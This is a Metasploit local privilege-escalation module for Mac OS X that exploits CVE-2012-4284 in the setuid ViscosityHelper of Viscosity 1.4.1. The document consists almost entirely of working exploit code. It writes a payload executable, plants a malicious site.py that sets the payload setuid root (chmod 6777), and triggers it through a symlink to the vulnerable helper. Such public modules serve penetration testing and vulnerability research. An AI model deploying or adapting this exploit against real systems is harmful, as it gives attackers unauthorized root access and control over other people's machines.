Viscosity setuid-set ViscosityHelper Privilege Escalation

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
require 'rex'  
require 'msf/core/post/common'  
require 'msf/core/post/file'  
require 'msf/core/exploit/exe'  
  
class Metasploit4 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Post::File  
include Msf::Post::Common  
  
def initialize(info={})  
super( update_info( info, {  
'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',  
'Description' => %q{  
This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The  
vulnerability exists in the setuid ViscosityHelper, where an insufficient  
validation of path names allows execution of arbitrary python code as root.  
This module has been tested successfully on Viscosity 1.4.1 over Mac OS X  
10.7.5.  
},  
'References' =>  
[  
[ 'CVE', '2012-4284' ],  
[ 'OSVDB', '84709' ],  
[ 'EDB', '20485' ],  
[ 'URL', 'http://blog.zx2c4.com/791' ]  
],  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Jason A. Donenfeld', # Vulnerability discovery and original Exploit  
'juan vazquez' # Metasploit module  
],  
'DisclosureDate' => 'Aug 12 2012',  
'Platform' => 'osx',  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell' ],  
'Targets' =>  
[  
[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],  
[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },  
'DefaultTarget' => 0  
}))  
register_options([  
# These are not OptPath becuase it's a *remote* path  
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),  
OptString.new("Viscosity", [ true, "Path to setuid ViscosityHelper executable", "/Applications/Viscosity.app/Contents/Resources/ViscosityHelper" ])  
], self.class)  
end  
  
def check  
if not file?(datastore["Viscosity"])  
print_error "ViscosityHelper not found"  
return CheckCode::Safe  
end  
  
check = session.shell_command_token("find #{datastore["Viscosity"]} -type f -user root -perm -4000")  
  
if check =~ /ViscosityHelper/  
return CheckCode::Vulnerable  
end  
  
return CheckCode::Safe  
end  
  
def clean  
file_rm(@link)  
file_rm(@python_file)  
file_rm("#{@python_file}c")  
file_rm(@exe_file)  
end  
  
def exploit  
  
exe_name = rand_text_alpha(8)  
@exe_file = "#{datastore["WritableDir"]}/#{exe_name}"  
print_status("Dropping executable #{@exe_file}")  
write_file(@exe_file, generate_payload_exe)  
  
evil_python =<<-EOF  
import os  
os.setuid(0)  
os.setgid(0)  
os.system("chown root #{@exe_file}")  
os.system("chmod 6777 #{@exe_file}")  
os.execl("#{@exe_file}", "#{exe_name}")  
EOF  
  
@python_file = "#{datastore["WritableDir"]}/site.py"  
print_status("Dropping python #{@python_file}...")  
write_file(@python_file, evil_python)  
  
print_status("Creating symlink...")  
link_name = rand_text_alpha(8)  
@link = "#{datastore["WritableDir"]}/#{link_name}"  
cmd_exec "ln -s -f -v #{datastore["Viscosity"]} #{@link}"  
  
print_status("Running...")  
begin  
cmd_exec "#{@link}"  
rescue  
print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")  
clean  
return  
end  
print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")  
end  
end  
  
`